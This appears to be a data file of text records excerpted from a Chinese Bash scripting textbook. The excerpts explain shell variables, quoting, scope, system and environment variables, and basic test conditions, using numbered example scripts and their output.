    {"text": "3.1.1 什么是变量 顾名思义，变量就是程序设计语言中的一个可以变化的量，当然，可以变化的是变量的值。 变量在几乎所有的程序设计语言中都有定义，并且其涵义也大同小异。 从本质上讲，变量就是在程序中保存用户数据的一块内存空间，而变量名就是这块内存空间的地址。 在程序的执行过程中，保存数据的内存空间的内容可能会不断地发生变化，但是，代表内存地址的变量名却保持不变。"},
    {"text": "用户使用变量的目的就是通过键来存取不同的值。 在程序设计语言中，一般将上述语句中的键称为变量名。 因此，用户是通过变量名来对变量所代表的值进行存取。 在不同的程序设计语言中，对于变量名的要求有所不同。 在Shell中，变量名可以由字母、数字或者下划线组成，并且只能以字母或者下划线开头。 对于变量名的程序，Shell并没有做出明确的规定。"},
    {"text": "例如，下面的变量名都是非常好的选择： PATH=/sbin UID=100 JAVA_HOME=\"/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/bin/../..\" SSHD=/usr/sbin/sshd 而下面的变量名则相对可读性较差： a=\"123\" str1=\"hello\" 因为程序的阅读者没有从变量名上面获取到任何有用的信息。"},
    {"text": "根据变量类型确定的时间，可以将程序设计语言分为两类，分别是静态类型语言和动态类型语言。 其中，静态类型语言是在程序的编译期间就确定变量类型的语言，例如Java、C++和PASCAL，在这些语言中使用变量时，必须首先声明其类型。 动态设计语言是在程序执行过程中才确定变量的数据类型的语言。"},
    {"text": "同样，根据是否强制要求类型定义，可以将程序设计语言分为强类型语言和弱类型语言。 强类型语言要求用户在定义变量时必须明确指定其数据类型，例如Java和C++。 在强类型语言中，数据类型之间的转换非常重要。"},
    {"text": "Shell是一种动态类型语言和弱类型语言，即在Shell中，变量的数据类型无需显示地声明，变量的数据类型会根据不同的操作有所变化。 准确地讲，Shell中的变量是不分数据类型的，统一地按照字符串存储。"},
    {"text": "【 例3-1 】演示Shell变量的数据类型，代码如下： 01 #-----------------------------/chapter3/ex3-1.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 x ，并且赋值为 123 05 x=123 06 # 变量 x 加 1 07 let \"x += 1\" 08 # 输出变量 x 的值 09 echo \"x = $x\" 10 # 显示空行 11 echo 12 # 替换 x 中的 1 为 abc ，并且将值赋给变量 y 13 y=${x/1/abc} 14 # 输出变量 y 的值 15 echo \"y = $y\" 16 # 声明变量 y 17 declare -i y 18 # 输出变量 y 的值 19 echo \"y = $y\" 20 # 变量 y 的值加 1 21 let \"y += 1\" 22 # 输出变量 y 的值 23 echo \"y = $y\" 24 # 显示空行 25 echo 26 # 将字符串赋给变量 z 27 z=abc22 28 # 输出变量 z 的值 29 echo \"z = $z\" 30 # 替换变量 z 中的 abc 为数字 11 ，并且将值赋给变量 m 31 m=${z/abc/11} 32 # 输出变量 m 的值 33 echo \"m = $m\" 34 # 变量 m 加 1 35 let \"m += 1\" 36 # 输出变量 m 的值 37 echo \"m = $m\" 38 39 echo 40 # 将空串赋给变量 n 41 n=\"\" 42 # 输出变量 n 的值 43 echo \"n = $n\" 44 # 变量 n 加 1 45 let \"n += 1\" 46 echo \"n = $n\" 47 echo 48 # 输出空变量 p 的值 49 echo \"p = $p\" 50 # 变量 p 加 1 51 let \"p += 1\" 52 echo \"p = $p\" 为了便于介绍，首先看一下以上程序的执行结果，如下： 01 [root@linux chapter3]# ./ex3-1.sh 02 x = 124 03 04 y = abc24 05 y = abc24 06 y = 1 07 08 z = abc22 09 m = 1122 10 m = 1123 11 12 n = 13 n = 1 14 15 p = 16 p = 1 在【例3-1】中，第5行定义了变量x，并且将一个整数值赋给该变量，所以变量x的数据类型为整数。"},
    {"text": "代码的第17行是使用declare语句声明整数变量y，但是这个语句并不影响当前变量y的值，因此，执行结果的第5行是代码第19行的echo语句的执行结果。"},
    {"text": "为了能够执行加法运算，Shell会自动进行数据类型的转换，如果遇到含有非数字的字符串，则该字符串将被转换成整数0，所以，当执行加1运算之后，变量y的值就变成1。"},
    {"text": "代码的第27行将一个含有字母的字符串赋给变量z，然后在第29行输出该变量的值，得到了结果的第8行。 代码的第31行将变量z的值中的字母abc替换为整数11，并且将替换后的结果赋给变量m，在第33行输出变量m的值，即执行结果的第9行。 代码的第35行将变量m的值加1，由于此时y的值为1122，这是一个完全由数字组成的字符串，所以Shell可以将其转换为整数，然后执行加法运算，得到结果为1123。"},
    {"text": "3.1.4 变量的定义 在Shell中，通常情况下用户可以直接使用变量，无需先进行定义，当用户第一次使用某个变量名时，实际上就同时定义了这个变量，在变量的作用域内，用户都可以使用该变量。 【 例3-2 】演示通过直接使用变量来定义变量，代码如下： 01 #-----------------------------/chapter3/ex3-2.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 a 05 a=1 06 # 定义变量 b 07 b=\"hello\" 08 # 定义变量 c 09 c=\"hello world\" 在上面的代码中，第5行定义了一个名称为a的变量，同时将一个数字赋给该变量。"},
    {"text": "为了更好地控制变量的相关属性，bash提供了一个名称为declare的命令来声明变量，该命令的基本语法如下： declare attribute variable 其中，attribute表示变量的属性，常用的属性有如下所述。"},
    {"text": "【 例3-3 】演示使用不同的方法声明变量，导致变量在不同的环境下表现出不同的行为，代码如下： 01 #-----------------------------/chapter3/ex3-3.sh------------------ 02 #! /bin/bash 03 04 定义变量 x ，并将一个算术式赋给它 05 x=6/3 06 echo \"$x\" 07 # 定义变量 x 为整数 08 declare -i x 09 echo \"$x\" 10 # 将算术式赋给变量 x 11 x=6/3 12 echo \"$x\" 13 # 将字符串赋给变量 x 14 x=hello 15 echo \"$x\" 16 # 将浮点数赋给变量 x 17 x=3.14 18 echo \"$x\" 19 # 取消变量 x 的整数属性 20 declare +i x 21 # 重新将算术式赋给变量 x 22 x=6/3 23 echo \"$x\" 24 # 求表达式的值 25 x=$[6/3] 26 echo \"$x\" 27 # 求表达式的值 28 x=$((6/3)) 29 echo \"$x\" 30 # 声明只读变量 x 31 declare -r x 32 echo \"$x\" 33 # 尝试为只读变量赋值 34 x=5 35 echo \"$x\" 以上程序的执行结果如下： 01 [root@linux chapter3]# ./ex3-3.sh 02 6/3 03 6/3 04 2 05 0 06 ./ex3-3.sh: line 15: 3.14: syntax error: invalid arithmetic operator (error token is \".14\") 07 0 08 6/3 09 2 10 2 11 2 12 ./ex3-3.sh: line 32: x: readonly variable 13 2 下面对比执行结果分析一下【例3-3】中的代码。"},
    {"text": "前面已经讲过，Shell中将所有的数据都看做是字符串来存储的，所以在程序执行的时候，Shell并不将6/3当成一个将被求值的算术式，而是作为一个普通的字符串，所以第6行直接输出了这个算术式本身，得到了结果的第2行。"},
    {"text": "代码的第8行使用declare语句声明了变量x为整数，但是程序并没对变量x重新赋值，所以第9行的echo语句的执行结果仍然得到算术式本身，即结果的第3行。"},
    {"text": "第17行将一个浮点数赋给变量x，因为bash并不内置对浮点数的支持，所以得到了执行结果中的第6行的错误消息，此时，变量x的值变为0，即结果的第7行中的0。"},
    {"text": "3.1.5 变量和引号 在Shell编程中，正确理解引号的作用非常重要。 Shell语言中一共有3种引号，分别为单引号（' '）、双引号（\" \"）和反引号（` `）。"},
    {"text": "这3种引号的作用是不同的，其中单引号括起来的字符都作为普通字符出现； 由双引号括起来的字符，除“$”、“\\”、“'”和“\"”这几个字符仍是特殊字符并保留其特殊功能外，其余字符仍作为普通字符对待；"},
    {"text": "【 例3-4 】演示反引号使用方法，代码如下： 01 #-----------------------------/chapter3/ex3-4.sh------------------ 02 #! /bin/bash 03 04 # 输出当前目录 05 echo \"current directory is `pwd`\" 在上面的代码中，第5行的语句中包含一个由反引号引用起来的Shell命令pwd。 以上命令的执行结果如下： [root@linux chapter3]# ./ex3-4.sh current directory is /root/chapter3 从上面的执行结果可以得知，代码的第5行在执行的过程中会首先执行pwd命令，用该命令的执行结果取代命令所在的位置，然后执行echo语句。"},
    {"text": "3.1.6 变量的作用域 接下来讨论Shell语言中的与变量密切相关的另外一个概念，即变量的作用域。 与其他程序设计语言一样，Shell中的变量也分为全局变量和局部变量两种。"},
    {"text": "在Shell语言中，全局变量可以在脚本中定义，也可以在某个函数中定义。 在脚本中定义的变量都是全局变量，其作用域为从被定义的地方开始，一直到Shell脚本结束或者被显式地删除。 【 例3-5 】演示全局变量的使用方法，代码如下： 01 #-----------------------------/chapter3/ex3-5.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 输出变量 x 的值 08 echo \"$v1\" 09 # 修改变量 x 的值 10 v1=200 11 } 12 # 在脚本中定义变量 x 13 v1=100 14 # 调用函数 15 func 16 # 输出变量 x 的值 17 echo \"$v1\" 在上面的代码中，第5行～第11定义了名称为func()的函数，第8行在函数内部输出全局变量v1的值，第10行修改全局变量v1的值为200，第13行在脚本中，即函数外面定义了变量v1，该变量是全局变量。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-5.sh 100 200 在上面的执行结果中，100是第8行的echo语句的输出，从执行结果可以得知，在函数func()内部可以访问全局变量v1。"},
    {"text": "从【例3-5】的执行结果可以得知，在脚本中定义的变量为全局变量，不仅可以在脚本中直接使用，还可以在函数内部直接使用。 除了在脚本中定义全局变量之外，在函数内部定义的变量默认情况下也是全局变量，其作用域为从函数被调用时执行变量定义的地方开始，一直到Shell脚本结束或者被显式地删除为止。 【 例3-6 】演示在函数内部定义全局变量的方法，代码如下： 01 #-----------------------------/chapter3/ex3-6.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 在函数内部定义变量 08 v2=200 09 } 10 # 调用函数 11 func 12 # 输出变量的值 13 echo \"$v2\" 在上面的代码中，第5行～第9行定义了名称为func()的函数，其中在第8行定义了一个名称为v2的变量。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-6.sh 200 之所以会得到200，是因为在Shell中，默认情况下，函数内部定义的变量也属于全局变量。"},
    {"text": "注意： 函数的参数是局部变量。 2．局部变量 与全局变量相比，局部变量的使用范围较小，通常仅限于某个程序段访问，例如函数内部。 在Shell语言中，可以在函数内部通过local关键字定义局部变量，另外，函数的参数也是局部变量。 【 例3-7 】演示使用local关键字定义局部变量。 本例对【例3-6】的代码稍作改动，在定义变量v2的时候使用local关键字，代码如下： 01 #-----------------------------/chapter3/ex3-7.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 使用 local 关键字定义局部变量 08 local v2=200 09 } 10 # 调用函数 11 func 12 # 输出变量的值 13 echo \"$v2\" 该程序的执行结果如下： [root@linux chapter3]# ./ex3-7.sh 从上面的执行结果可以得知，由于在函数内部使用local关键字显式地定义了局部变量，所以在函数外面不能获得该变量的值。"},
    {"text": "如果用户在函数外面定义了一个全局变量，同时在某个函数内部又存在相同名称的局部变量，则在调用该函数时，函数内部的局部变量会屏蔽函数外部定义的全局变量。 也就是说，在出现同名的情况下，函数内部的局部变量会优先被使用。"},
    {"text": "在本例中，定义两个名称都为v1的变量，其中一个为全局变量，另外一个为局部变量，然后分别比较这两个变量的不同的行为，代码如下： 01 #-----------------------------/chapter3/ex3-8.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 输出全局变量 v1 的值 08 echo \"global variable v1 is $v1\" 09 # 定义局部变量 v1 10 local v1=2 11 # 输出局部变量 v1 的值 12 echo \"local variable v1 is $v1\" 13 } 14 # 定义全局变量 v1 15 v1=1 16 # 调用函数 17 func 18 # 输出全局变量 v1 的值 19 echo \"global variable v1 is $v1\" 在上面的代码中，第5行～第13行定义了函数func()。"},
    {"text": "由于函数内部的局部变量是在第10行定义的，所以第8行的echo语句输出的是全局变量v1的值。 第10行使用local关键字定义相同名称的局部变量v1，并且赋值为2。 第12行输出了局部变量v1的值。 第15行定义了全局变量v1，并且赋值为1。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-8.sh global variable v1 is 1 local variable is 2 global variable is 1 从上面的执行结果可以得知，在函数func()中，第一次输出的是全局变量v1的值，第二次输出的是局部变量v1的值。"},
    {"text": "3.1.7 系统变量 Shell语言的系统变量主要在对参数判断和命令返回值判断时使用，包括脚本和函数的参数，以及脚本和函数的返回值。 Shell语言中的系统变量并不多，但是十分有用，特别是在做一些参数检测的时候。"},
    {"text": "表3-1 Shell中常用的系统变量 变 量 说 明 $n n是一个整数，从1开始，表示参数的位置，例如$1表示第1个参数，$2表示第2个参数等 $# 命令行参数的个数 $0 当前Shell脚本的名称 $? 前一个命令或者函数的返回状态码 $* 以“参数1参数2……”的形式将所有的参数通过一个字符串返回 $@ 以“参数1”“参数2”……的形式返回每个参数 $$ 返回本程序的进程ID（PID） 【 例3-9 】演示常用系统变量的使用方法。 在本例中通过Shell系统变量来获取不同的信息，代码如下： 01 #-----------------------------/chapter3/ex3-9.sh------------------ 02 #! /bin/bash 03 04 # 输出脚本的参数个数 05 echo \"the number of parameters is $#\" 06 # 输出上一个命令的退出状态码 07 echo \"the return code of last command is $?\" 08 # 输出当前脚本名称 09 echo \"the script name is $0\" 10 # 输出所有的参数 11 echo \"the parameters are $*\" 12 # 输出其中的几个参数 13 echo \"\\$1=$1;\\$2=$2;\\$11=$11\" 在上面的代码中，第5行使用变量$#获取当前脚本的参数个数，第7行使用变量$?获取上一个脚本或者命令的返回状态码，第9行通过变量$0获取当前脚本的名称，第11行通过变量$*以一个字符串的形式返回所有的参数值，第13行通过变量$n输出其中几个参数的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-9.sh a b c d e f g h i j k l m n the number of parameters is 14 the return code of last command is 0 the script name is ./ex3-9.sh the parameters are a b c d e f g h i j k l m n $1=a;$2=b;$11=a1 在执行ex3-9.sh脚本文件时，为该程序提供了14个参数，所以代码第5行的输出结果为14。"},
    {"text": "原来在Shell语言中，使用$n的形式获取位置参数时，Shell通常的变量名只是一位数字，即1～9。 因此，在上面的程序中，使用变量$11获取第11个参数的值时，Shell会将“$1”作为变量名，导致了获取结果实际上是第1个参数的值。"},
    {"text": "下面将变量名$11中的数字11用大括号括起来，如下： echo \"\\$1=$1;\\$2=$2;\\$11=${11}\" 此时再次执行【例3-9】的脚本文件，就可以得到正确的结果，如下所示。 [root@linux chapter3]# ./ex3-9.sh a b c d e f g h i j k l m n the number of parameters is 14 the return code of last command is 0 the script name is ./ex3-9.sh the parameters are a b c d e f g h i j k l m n $1=a;$2=b;$11=k 注意： 【例3-9】中的反斜线“\\”称为转义字符，用于将一些Shell中的特殊字符转换为普通字符，例如“$”或者“’”等。"},
    {"text": "3.1.8 环境变量 Shell的环境变量是所有Shell程序都可以使用的变量。 Shell程序在运行时，都会接收一组变量，这组变量就是环境变量。 环境变量会影响到所有脚本的执行结果。"},
    {"text": "注意与Windows下不同的是，当前目录不在系统路径里 HOME 用户主目录的路径名，是cd命令的默认参数 COLUMNS 定义了命令编辑模式下可使用命令行的长度 HISTFILE 命令历史文件 HISTSIZE 命令历史文件中最多可包含的命令条数 HISTFILESIZE 命令历史文件中包含的最大行数 IFS 定义Shell使用的分隔符 LOGNAME 当前的登录名 SHELL Shell的全路径名 TERM 终端类型 TMOUT Shell自动退出的时间，单位为秒，若设为0则禁止Shell自动退出 PWD 当前工作目录 除了表3-2列出的一些环境变量之外，用户还可以使用set命令列出所有的环境变量，如下： [root@linux chapter3]# set | more BASH=/bin/bash BASHOPTS=checkwinsize:cmdhist:expand_aliases:extquote:force_fignore:hos tcomplete:interactive_comments:login_shell:progcomp:promptvars:sourcepa th BASH_ALIASES=() BASH_ARGC=() BASH_ARGV=() BASH_CMDS=() BASH_LINENO=() BASH_SOURCE=() BASH_VERSINFO=([0]=\"4\" [1]=\"1\" [2]=\"2\" [3]=\"1\" [4]=\"release\" [5]= \"x86_64-redhat-linux-gnu\") BASH_VERSION='4.1.2(1)-release' COLORS=/etc/DIR_COLORS COLUMNS=235 CVS_RSH=ssh DIRSTACK=() EUID=0 GROUPS=() G_BROKEN_FILENAMES=1 HISTCONTROL=ignoredups HISTFILE=/root/.bash_history HISTFILESIZE=1000 HISTSIZE=1000 HOME=/root HOSTNAME=linux … 用户如果想要使用环境变量，则可以通过相应的变量名来获取。 【 例3-10 】演示通过环境变量来获取与当前Shell有关的一些环境变量的值，代码如下： 01 #-----------------------------/chapter3/ex3-10.sh------------------ 02 #! /bin/bash 03 04 # 输出命令搜索路径 05 echo \"commands path is $PATH\" 06 # 输出当前的登录名 07 echo \"current login name is $LOGNAME\" 08 # 输出当前用户的主目录 09 echo \"current user's home is $HOME\" 10 # 输出当前的 Shell 11 echo \"current shell is $SHELL\" 12 # 输出当前工作目录 13 echo \"current path is $PWD\" 在上面的代码中，第5行输出当前用户所设置的命令搜索路径，第7行输出当前用户的登录名，第9行输出当前用户的主目录，第11行输出当前Shell的全路径，第13行输出当前的工作路径。 该程序的执行结果如下： [root@linux chapter3]# ./ex3-10.sh commands path is /usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/ bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/usr/pgsql-9.2/bin current login name is root current user's home is /root current shell is /bin/bash current path is /root/chapter3 注意： 按照惯例，Shell中的环境变量全部使用大写字母表示。"},
    {"text": "3.2 变量赋值和清空 在了解了变量的基础知识之后，接下来再介绍一下Shell语言中变量的赋值和变量的销毁。 3.2.1 变量赋值 在Shell语言中，通常情况下变量并不需要专门的定义和初始化语言。"},
    {"text": "在Shell中，变量的赋值使用以下语法： variable_name=value 其中，varibale_name表示变量名，关于变量名的命名规则，前面已经介绍过了，不再重复说明。 value表示将要赋给变量的值。"},
    {"text": "例如，下面都是一些正确的赋值语句： v1=Linux v2='RedHat Linux' v3=\"RedHat Linux $HOSTTYPE\" v4=12345 此外，Shell允许只包含数字的变量值参与数值运算，例如上面的v4。"},
    {"text": "在Shell中，用户可以通过在变量名前面加上“$”来获取该变量的值。 实际上，在前面的许多例子中，我们已经多次使用了这个符号来获取变量的值，为了使用户更加清楚Shell中变量值的引用方法，在此进行详细介绍。 【 例3-11 】演示Shell变量的引用方法，代码如下： 01 #-----------------------------/chapter3/ex3-11.sh------------------ 02 #!/bin/bash 03 04 v1=Linux 05 v2='RedHat Linux' 06 v3=\"RedHat Linux $HOSTTYPE\" 07 v4=12345 08 09 # 输出变量 v1 的值 10 echo \"$v1\" 11 # 输出变量 12 echo \"$v2\" 13 # 输出变量 v3 的值 14 echo \"$v3\" 15 # 输出变量 v4 的值 16 echo \"$v4\" 在上面的代码中，第4行～第7行分别定义了4个变量，并且分别各自赋予了不同的初始值。"},
    {"text": "另外，在Shell中，字符串是可以直接连接在一起的，如果对【例3-11】进行修改，将最后的变量v4的输出语句，即代码的第13行改成以下代码： echo \"$v4abc\" 则程序在执行时会出现错误，如下： [root@linux chapter3]# ./ex3-11.sh Linux RedHat Linux RedHat Linux x86_64 从上面的执行结果可以得知，ex3-11.sh脚本文件只正确输出了前3个变量的值，而最后一个变量的值变成了空字符串。"},
    {"text": "出现这种情况的原因在于，Shell在进行解释代码时，遇到“$v4abc”这个字符串之后，并不知道具体的变量名到底是什么，因此，它会将整个字符串作为一个变量名来使用。"},
    {"text": "为了能够使Shell正确地界定变量名，避免混淆，用户在引用变量时可以使用大括号将变量名括起来，如下： echo \"${v4}abc\" 那么以上程序就会得到正确的结果，如下： [root@linux chapter3]# ./ex3-11.sh Linux RedHat Linux RedHat Linux x86_64 12345abc 实际上，本书非常建议用户使用大括号来将变量名进行明确地界定，因为这是一种非常正式的、完整的书写方法，而用户通常使用省略大括号的形式只是一种简写。"},
    {"text": "清除变量使用unset语句，其基本语法如下： unset variable_name 其中，参数varibale_name表示要清除的变量的名称。 【 例3-12 】演示Shell变量清除方法，并且观察在清除前后变量值的变化，代码如下： 01 #-----------------------------/chapter3/ex3-12.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 v1 05 v1=\"Hello world\" 06 # 输出 v1 的值 07 echo \"$v1\" 08 # 清除变量 09 unset v1 10 echo \"the value of v1 has been reset\" 11 # 再次输出变量的值 12 echo \"$v1\" 在上面的代码中，第5行定义了一个名称为v1的变量，第7行输出该变量的值。 第9行使用unset语句将该变量清除，然后在第12行再次输出该变量的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-12.sh Hello world the value of v1 has been reset 从上面的执行结果可以得知，在执行第9行的unset语句之后，变量v1已经被清除掉了，因此，第12行的echo语句仅仅输出了空值。"},
    {"text": "例如，在Shell中“$”符号的本身涵义是美元符号，其ASCII码值为十进制36。 除了这个涵义之外，前面已经讲过，“$”符号还可以用了获取某个变量的值，即变量替换。"},
    {"text": "【 例3-13 】演示星号通配符的使用方法，命令如下： [root@linux chapter3]# ll ex* -rwxr-xr-x 1 root root 179 Jan 7 11:51 ex3-10.sh -rwxr-xr-x 1 root root 114 Jan 7 15:49 ex3-11.sh -rwxr-xr-x 1 root root 100 Jan 7 16:15 ex3-12.sh … 在上面的ll命令中，参数ex*表示列出以ex开头的所有的文件。 但是，如果使用双引号将其引用起来，则其涵义会发生变化，如下： [root@linux chapter3]# ll \"ex*\" ls: cannot access ex*: No such file or directory 从上面的执行结果可以得知，当参数ex*被双引号引用起来之后，ll命令会将其作为一个普通的文件名来对待。"},
    {"text": "表3-3 常用引用符号 引用符号 说 明 双引号 除美元符号、单引号、反引号和反斜线之外，其他所有的字符都将保持字面意义 单引号 所有的字符都将保持字面意义 反引号 反引号中的字符串将被解释为Shell命令 反斜线 转义字符，屏蔽后的字符的特殊意义 注意： 在Linux中，ll命令是ls-l命令的别名。 3.3.2 全引用 在Shell语句中，当一个字符串被单引号引用起来之后，其中所有的字符，除单引号本身之外，都将被解释为字面意义，即字符本身的涵义。"},
    {"text": "【 例3-14 】演示全引用的使用方法，代码如下： 01 #-----------------------------/chapter3/ex3-14.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 v1 05 v1=\"chunxiao\" 06 # 输出含有变量名的字符串 07 echo 'Hello, $v1' 在上面的代码中，第5行定义了一个字符串变量v1，第7行使用echo语句输出一个含有变量名v1的用单引号引用起来的字符串。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-14.sh Hello, $v1 3.3.3 部分引用 对于单引号来说，被其引用起来的所有的字符都将被解释为字面意义。"},
    {"text": "如果用户使用双引号将字符串引用起来，则其中所包含的字符除美元符号（$）、反引号（`），以及反斜线（\\）之外的所有其他的字符，都将被解释为字面意义，这称为部分引用。"},
    {"text": "【 例3-15 】演示部分引用的使用方法，本例将【例3-14】中的单引号改为双引号，代码如下： 01 #-----------------------------/chapter3/ex3-15.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 05 v1=\"chunxiao\" 06 # 输出变量的值 07 echo \"Hello, $v1\" 以上代码的执行结果如下： [root@linux chapter3]# ./ex3-15.sh Hello, chunxiao 从上面的执行结果可以得知，echo语句中的变量名已经被变量的值取代。"},
    {"text": "在bash中，有两种语法可以进行命令替换，分别使用反引号和圆括号，如下： 'shell_command' $(shell_command) 以上两种语法是等价的，用户可以根据自己的习惯来选择使用。 【 例3-16 】演示反引号的使用方法，代码如下： 01 #-----------------------------/chapter3/ex3-16.sh------------------ 02 #! /bin/bash 03 04 # 变量替换 05 v1='pwd' 06 # 输出变量的值 07 echo \"current working directory is $v1\" 在上面的代码中，第5行将Shell命令pwd的执行结果赋给变量v1，然后在第7行输出该变量的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter3]# ./ex3-16.sh current working directory is /root/chapter3 从上面的执行结果可以得知，命令pwd的执行结果已经成功地替换了变量名v1。"},
    {"text": "在上面的代码中，使用了反引号，如果使用圆括号，则对代码进行相应的修改，如下： 01 #! /bin/bash 02 03 v1=$(pwd) 04 echo \"current working directory is $v1\" 以上代码的执行结果与例【3-15】完全相同。"},
    {"text": "在下面的两个命令中，第一个命令可以获得变量的值，而第二个命令则直接输出了变量名，如下： [root@linux chapter3]# echo $SHELL /bin/bash [root@linux chapter3]# echo \\$SHELL $SHELL 为什么会得到这样的结果呢？"},
    {"text": "这是因为在第二个命令的$符号前面使用了转义字符“\\”，从而使得紧跟在后面的$符号失去了其特殊的作用，变成了一个普通的字符，即仅仅表示$符号本身而已。"},
    {"text": "3.4 小结 本章详细介绍了Shell语言中的变量和引用的相关知识，主要内容包括变量涵义、变量的命名规则、变量的定义、变量的作用域、系统变量和环境变量、变量赋值和清除、全引用和部分引用、命令替换，以及转义等。 重点在于掌握好变量的定义方法、变量的作用域、常用的系统变量和环境变量的使用方法，以及全引用和部分引用。"},
    {"text": "第4章 条件测试和判断语句 第4章 条件测试和判断语句 作为一个实用的、能够解决实际问题的Shell程序，必须能够根据执行过程中的各种实际情况来做出正确的选择。"},
    {"text": "Shell提供了一系列的条件测试来处理程序执行过程中的各种情况，并做出进一步的操作。 本章将介绍各种条件测试的基本语法，以及Shell程序的基本流程控制语句判断语句的使用方法。"},
    {"text": "条件判断语句：介绍基本的if、if else，以及if elif语句的使用方法。 多条件判断语句case：主要介绍case语句的基本语法，以及使用case语句来解决一些实际问题。"},
    {"text": "运算符：主要介绍Shell中常用的运算符的使用方法，例如算术运算符、位运算符，以及自增、自减运算符等。 4.1 条件测试 为了能够正确处理Shell程序运行过程中遇到的各种情况，Shell提供了一组测试运算符。 通过这些运算符，Shell程序能够判断某种或者几个条件是否成立。"},
    {"text": "对于熟悉其他的程序设计语言，例如Java或者C的用户来说，这一点非常重要，因为在这些语言中，通常情况下，条件表达式的值为真时，整个表达式的值为非0值；"},
    {"text": "除了使用test命令之外，还有一个内部命令同样可以进行条件测试，该命令的名称为[，这是一个左方括号。 与test命令一样，[命令的作用也是对后面的条件表达式进行测试，但是为了增加程序的可读性，Shell要求在条件表达式后面追加一个右方括号]来与前面的[命令配对。 因此，[命令的语法如下： [ expression ] 在上面的语法中，[是条件测试命令，参数expression是一个条件表达式。"},
    {"text": "表4-1 字符串运算符 运 算 符 说 明 string 判断指定的字符串是否为空 string1 = string2 判断两个字符串string1和string2是否相等 string1 != string2 判断两个字符串string1和string2是否不相等 -n string 判断string是否是非空串 -z string 判断string是否是空串 对于表4-1中的第一种运算符，也就是单独给定一个字符串的形式，只能使用test命令来测试是否为空串，而不能使用方括号的方式来测试。"},
    {"text": "【 例4-1 】演示字符串测试的使用方法，代码如下： 01 # 定义字符串变量 02 [root@linux chapter4]# a=\"abc\" 03 # 使用 test 命令测试变量 $a 是否为空串 04 [root@linux chapter4]# test $a 05 # 通过 echo 命令和 $? 环境变量输出测试结果 06 [root@linux chapter4]# echo $? 07 # 输出结果为 0 ，表示变量 $a 的值不为空 08 0 09 # 使用 -n 运算符测试变量 $a 是否不为空 10 [root@linux chapter4]# test -n \"$a\" 11 # 输出测试结果 12 [root@linux chapter4]# echo $? 13 # 测试结果为 0 表示变量为非空字符串 14 0 15 # 使用 -z 运算符测试变量 $a 是否为空串 16 [root@linux chapter4]# test -z \"$a\" 17 # 测试结果为 1 ，表示变量 $a 不是空串 18 [root@linux chapter4]# echo $? 19 1 在上面的例子中，我们都是通过运算符来对一个字符串进行测试。"},
    {"text": "【 例4-2 】演示Shell中比较两个字符串值的方法，命令如下： 01 # 定义变量 $a 02 [root@linux chapter4]# a=\"hello\" 03 # 定义变量 $b 04 [root@linux chapter4]# b=\"world\" 05 # 比较 2 个字符串是否相等 06 [root@linux chapter4]# [ \"$a\" = \"$b\" ] 07 # 输出测试结果为 1 ，表示 $a 和 $b 不相等 08 [root@linux chapter4]# echo $? 09 1 10 # 测试 $a 和 $b 是否不相等 11 [root@linux chapter4]# test \"$a\" != \"$b\" 12 # 输出测试结果为 0 ，表示 $a 和 $b 不相等 13 [root@linux chapter4]# echo $? 14 0 从上面的例子可以得知，包含在双引号中的变量名在引用的时候会被变量的值取代，这称为变量的部分引用。"},
    {"text": "【 例4-3 】说明空格对于字符串比较结果的影响，代码如下： 01 # 定义字符串变量 $a 02 [root@linux chapter4]# a=\"Hello world. \" 03 # 定义字符串变量 $b 04 [root@linux chapter4]# b=\"Hello world.\" 05 # 测试 $a 和 $b 是否相等 06 [root@linux chapter4]# [ \"$a\" = \"$b\" ] 07 [root@linux chapter4]# echo $? 08 1 在上面的例子中，字符串变量$a的末尾比$b多了一个空格。"},
    {"text": "01 # 变量 $a 的第 1 个字母为大写的 H 02 [root@linux chapter4]# a=\"Hello world.\" 03 # 变量 $b 的第 1 个字母为小写的 h 04 [root@linux chapter4]# b=\"hello world.\" 05 [root@linux chapter4]# [ \"$a\" = \"$b\" ] 06 # 变量 $a 和 $b 的值不相等 07 [root@linux chapter4]# echo $? 08 1 最后，再介绍一个初学者经常遇到的问题。 我们执行以下代码： 01 [root@linux chapter4]# a=\"Apple\" 02 [root@linux chapter4]# b=\"Orange\" 03 [root@linux chapter4]# test \"$a\"=\"$b\" 04 [root@linux chapter4]# echo $? 05 0 从表面上看，这个例子与前面介绍的几个例子并没有太大的区别。"},
    {"text": "而在上面的例子中，表达式被写成了以下形式： test \"$a\"=\"$b\" 在这种情况下，Shell并不认为其中的等号“=”是一个字符串运算符，而看做是一个普通的字符。"},
    {"text": "所以，上面的例子实际上相当于执行以下字符串测试： [root@linux ~]# test \"Apple=Orange\" [root@linux ~]# echo $? 0 也就是说，实际上是测试某个字符串是否为空。 上面的字符串“Apple=Orange”当然不是空串，所以，无论变量$a和$的值是什么，上面的例子的测试结果永远是0。"},
    {"text": "与字符串测试类似，整数测试也有两种形式的语法： test number1 op number2 或者 [ number1 op number2 ] 其中，number1和number2分别表示参与比较的两个整数，可以是常量或者变量。"},
    {"text": "例如，用户可以使用-eq运算符来比较两个整数值是否相等，使用-ne运算符来比较两个整数值是否不相等，使用-gt运算符来测试某个整数是否大于另外一个整数。"},
